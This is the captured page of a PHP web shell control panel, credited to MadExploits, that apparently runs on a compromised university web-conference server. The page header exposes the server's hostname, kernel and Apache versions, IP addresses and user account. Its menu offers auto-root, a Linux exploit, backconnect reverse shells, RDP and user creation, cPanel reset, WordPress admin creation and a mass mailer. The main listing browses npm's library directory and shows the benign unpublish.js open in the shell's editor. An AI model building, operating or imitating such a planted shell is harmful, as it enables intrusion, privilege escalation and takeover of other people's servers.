Linux web-conference.aiou.edu.pk 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64
Apache/2.4.41 (Ubuntu)
: 172.16.50.247 | : 3.12.74.180
Cant Read [ /etc/named.conf ]
7.4.3-4ubuntu2.28
appadmin
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
BLACK DEFEND!
README
+ Create Folder
+ Create File
/
usr /
share /
npm /
lib /
[ HOME SHELL ]
Name
Size
Permission
Action
auth
[ DIR ]
drwxr-xr-x
config
[ DIR ]
drwxr-xr-x
doctor
[ DIR ]
drwxr-xr-x
install
[ DIR ]
drwxr-xr-x
search
[ DIR ]
drwxr-xr-x
utils
[ DIR ]
drwxr-xr-x
access.js
5.54
KB
-rw-r--r--
adduser.js
1.31
KB
-rw-r--r--
audit.js
10.56
KB
-rw-r--r--
bin.js
515
B
-rw-r--r--
bugs.js
864
B
-rw-r--r--
build.js
4.44
KB
-rw-r--r--
cache.js
4.66
KB
-rw-r--r--
ci.js
1.19
KB
-rw-r--r--
completion.js
7.11
KB
-rw-r--r--
config.js
7.43
KB
-rw-r--r--
dedupe.js
4.88
KB
-rw-r--r--
deprecate.js
2.11
KB
-rw-r--r--
dist-tag.js
4.11
KB
-rw-r--r--
docs.js
1.04
KB
-rw-r--r--
doctor.js
3.98
KB
-rw-r--r--
edit.js
1.37
KB
-rw-r--r--
explore.js
1.69
KB
-rw-r--r--
fetch-package-metadata.js
3.84
KB
-rw-r--r--
fund.js
4.91
KB
-rw-r--r--
get.js
235
B
-rw-r--r--
help-search.js
5.64
KB
-rw-r--r--
help.js
6.35
KB
-rw-r--r--
hook.js
4.21
KB
-rw-r--r--
init.js
2.74
KB
-rw-r--r--
install-ci-test.js
486
B
-rw-r--r--
install-test.js
507
B
-rw-r--r--
install.js
36.25
KB
-rw-r--r--
link.js
5.6
KB
-rw-r--r--
logout.js
1.26
KB
-rw-r--r--
ls.js
16.09
KB
-rw-r--r--
npm.js
14.37
KB
-rw-r--r--
org.js
4.18
KB
-rw-r--r--
outdated.js
12.28
KB
-rw-r--r--
owner.js
6.6
KB
-rw-r--r--
pack.js
11.79
KB
-rw-r--r--
ping.js
1.11
KB
-rw-r--r--
prefix.js
330
B
-rw-r--r--
profile.js
11.13
KB
-rw-r--r--
prune.js
2.23
KB
-rw-r--r--
publish.js
5.14
KB
-rw-r--r--
rebuild.js
2.09
KB
-rw-r--r--
repo.js
1.44
KB
-rw-r--r--
restart.js
64
B
-rw-r--r--
root.js
320
B
-rw-r--r--
run-script.js
5.41
KB
-rw-r--r--
search.js
3.36
KB
-rw-r--r--
set.js
276
B
-rw-r--r--
shrinkwrap.js
9.82
KB
-rw-r--r--
star.js
2.11
KB
-rw-r--r--
stars.js
1.03
KB
-rw-r--r--
start.js
62
B
-rw-r--r--
stop.js
61
B
-rw-r--r--
substack.js
509
B
-rw-r--r--
team.js
4.61
KB
-rw-r--r--
test.js
374
B
-rw-r--r--
token.js
6.66
KB
-rw-r--r--
unbuild.js
4.27
KB
-rw-r--r--
uninstall.js
2.21
KB
-rw-r--r--
unpublish.js
3.51
KB
-rw-r--r--
update.js
2.16
KB
-rw-r--r--
version.js
9.79
KB
-rw-r--r--
view.js
15.11
KB
-rw-r--r--
visnup.js
4.01
KB
-rw-r--r--
whoami.js
1.77
KB
-rw-r--r--
xmas.js
1.62
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : unpublish.js
/* eslint-disable standard/no-callback-literal */ 'use strict' module.exports = unpublish const BB = require('bluebird') const figgyPudding = require('figgy-pudding') const libaccess = require('libnpm/access') const libunpub = require('libnpm/unpublish') const log = require('npmlog') const npa = require('npm-package-arg') const npm = require('./npm.js') const npmConfig = require('./config/figgy-config.js') const npmFetch = require('npm-registry-fetch') const otplease = require('./utils/otplease.js') const output = require('./utils/output.js') const path = require('path') const readJson = BB.promisify(require('read-package-json')) const usage = require('./utils/usage.js') const whoami = BB.promisify(require('./whoami.js')) unpublish.usage = usage( 'unpublish', '\nnpm unpublish [<@scope>/]<pkg>@<version>' + '\nnpm unpublish [<@scope>/]<pkg> --force' ) function UsageError () { throw Object.assign(new Error(`Usage: ${unpublish.usage}`), { code: 'EUSAGE' }) } const UnpublishConfig = figgyPudding({ force: {}, loglevel: {}, silent: {} }) unpublish.completion = function (cliOpts, cb) { if (cliOpts.conf.argv.remain.length >= 3) return cb() whoami([], true).then(username => { if (!username) { return [] } const opts = UnpublishConfig(npmConfig()) return libaccess.lsPackages(username, opts).then(access => { // do a bit of filtering at this point, so that we don't need // to fetch versions for more than one thing, but also don't // accidentally a whole project. let pkgs = Object.keys(access) if (!cliOpts.partialWord || !pkgs.length) { return pkgs } const pp = npa(cliOpts.partialWord).name pkgs = pkgs.filter(p => !p.indexOf(pp)) if (pkgs.length > 1) return pkgs return npmFetch.json(npa(pkgs[0]).escapedName, opts).then(doc => { const vers = Object.keys(doc.versions) if (!vers.length) { return pkgs } else { return vers.map(v => `${pkgs[0]}@${v}`) } }) }) }).nodeify(cb) } function unpublish (args, cb) { if (args.length > 1) return cb(unpublish.usage) const spec = args.length && npa(args[0]) const opts = UnpublishConfig(npmConfig()) const version = spec.rawSpec BB.try(() => { log.silly('unpublish', 'args[0]', args[0]) log.silly('unpublish', 'spec', spec) if (!version && !opts.force) { throw Object.assign(new Error( 'Refusing to delete entire project.\n' + 'Run with --force to do this.\n' + unpublish.usage ), { code: 'EUSAGE' }) } if (!spec || path.resolve(spec.name) === npm.localPrefix) { // if there's a package.json in the current folder, then // read the package name and version out of that. const cwdJson = path.join(npm.localPrefix, 'package.json') return readJson(cwdJson).then(data => { log.verbose('unpublish', data) return otplease(opts, opts => { return libunpub(npa.resolve(data.name, data.version), opts.concat(data.publishConfig)) }) }, err => { if (err && err.code !== 'ENOENT' && err.code !== 'ENOTDIR') { throw err } else { UsageError() } }) } else { return otplease(opts, opts => libunpub(spec, opts)) } }).then( ret => { if (!opts.silent && opts.loglevel !== 'silent') { output(`- ${spec.name}${ spec.type === 'version' ? `@${spec.rawSpec}` : '' }`) } cb(null, ret) }, err => err.code === 'EUSAGE' ? cb(err.message) : cb(err) ) }
Close